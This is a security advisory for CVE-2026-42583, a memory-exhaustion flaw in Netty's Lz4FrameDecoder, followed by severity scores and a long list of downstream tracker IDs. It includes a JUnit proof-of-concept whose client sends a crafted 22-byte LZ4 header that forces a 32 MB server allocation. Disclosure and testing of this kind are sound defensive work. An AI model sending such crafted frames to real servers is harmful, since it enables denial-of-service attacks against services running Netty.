CVE-2026-42583
ADVISORY - githubSummary
Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
NIST
CVSS SCORE
7.5highGitHub
CVSS SCORE
7.5highDebian
-
Ubuntu
-
CVSS SCORE
N/AmediumChainguard
CGA-5c4g-hmfw-hqxp
-
minimos
MINI-25jf-53vg-qvqh
-
minimos
MINI-2m83-w78r-cmg5
-
minimos
MINI-2p92-9hgr-wv73
-
minimos
MINI-3f73-rxwr-r75f
-
minimos
MINI-3pmw-m65h-p65g
-
minimos
MINI-3q5q-3754-vxqj
-
minimos
MINI-3q6c-w83r-wqx6
-
minimos
MINI-3v2q-pv62-jgm7
-
minimos
MINI-4484-4376-5c3r
-
minimos
MINI-47r8-9m72-q4g5
-
minimos
MINI-4h3v-29mq-m5qv
-
minimos
MINI-4rjc-3vcg-3prc
-
minimos
MINI-4wqw-8r77-v848
-
minimos
MINI-56m8-wchf-m2m7
-
minimos
MINI-5867-mfrm-72cv
-
minimos
MINI-5f3j-f3c3-x6p8
-
minimos
MINI-5mhg-h2ww-x425
-
minimos
MINI-6c8f-pgwv-88pg
-
minimos
MINI-6p6x-vm2q-9hv3
-
minimos
MINI-6r75-8qgv-3vq5
-
minimos
MINI-72c3-gcv5-pxc2
-
minimos
MINI-7php-9f2r-jgjv
-
minimos
MINI-7x5c-25ph-483c
-
minimos
MINI-85h5-jmgf-6x5h
-
minimos
MINI-8wpg-qc78-pg7m
-
minimos
MINI-9fgx-f7w7-cp6q
-
minimos
MINI-9hc3-fwxr-vfjm
-
minimos
MINI-cq5h-p245-wxvc
-
minimos
MINI-cqxp-7c4r-xvf3
-
minimos
MINI-cx7r-96p5-4pm2
-
minimos
MINI-f793-g5gv-r5p8
-
minimos
MINI-g2x4-6mc5-gf2h
-
minimos
MINI-ghhx-f3f3-h9gv
-
minimos
MINI-gmh6-jpjh-45f8
-
minimos
MINI-gmp4-pqw6-2vf8
-
minimos
MINI-gwvv-7gpv-rc8j
-
minimos
MINI-h374-374q-6frw
-
minimos
MINI-h6wx-vjw5-5qh9
-
minimos
MINI-h76f-mr7q-vg9w
-
minimos
MINI-hc38-p4xc-59f3
-
minimos
MINI-hf93-vc58-39jq
-
minimos
MINI-hqph-68r9-5qmh
-
minimos
MINI-hxfx-frwv-wwhg
-
minimos
MINI-j64x-r3v3-g4cm
-
minimos
MINI-j6h2-wvpx-qg85
-
minimos
MINI-jp3x-f4fm-pxpf
-
minimos
MINI-m6x4-fwc8-jmh9
-
minimos
MINI-m8vh-8w2f-6r2j
-
minimos
MINI-mpjm-j6cw-r8p5
-
minimos
MINI-mppq-g858-j56m
-
minimos
MINI-mqmg-gj4f-7xcc
-
minimos
MINI-mqw4-rj24-4pvc
-
minimos
MINI-p36m-mrph-49v2
-
minimos
MINI-p695-r642-8v99
-
minimos
MINI-p939-3jrm-hmpg
-
minimos
MINI-pcrg-vr8x-3v73
-
minimos
MINI-pqmq-9xmx-v468
-
minimos
MINI-qh8g-3hv6-qhjw
-
minimos
MINI-r52w-wgcg-mxwc
-
minimos
MINI-rwhv-24v5-f84g
-
minimos
MINI-v7m2-wxgx-2gcm
-
minimos
MINI-vf65-5q44-pmmj
-
minimos
MINI-vrxq-8c6g-v4pc
-
minimos
MINI-vwv9-fpwx-wwcf
-
minimos
MINI-vxfv-hv2w-7grc
-
minimos
MINI-vxw8-8j57-prx7
-
minimos
MINI-w2wr-3qfv-69jx
-
minimos
MINI-w5vp-jqc3-22fc
-
minimos
MINI-w995-p28f-rqr2
-
minimos
MINI-wg8v-6ggj-v4mq
-
minimos
MINI-wgww-x7gq-xq2w
-
minimos
MINI-wjcj-8mq6-3mj7
-
minimos
MINI-wpwj-9x3q-wv7x
-
minimos
MINI-wqw8-fvv9-2r6x
-
minimos
MINI-x2w6-525j-ghc4
-
minimos
MINI-x43q-qfj8-hq82
-
minimos
MINI-x785-ww5w-53p4
-
minimos
MINI-xmwf-27wv-8p2x
-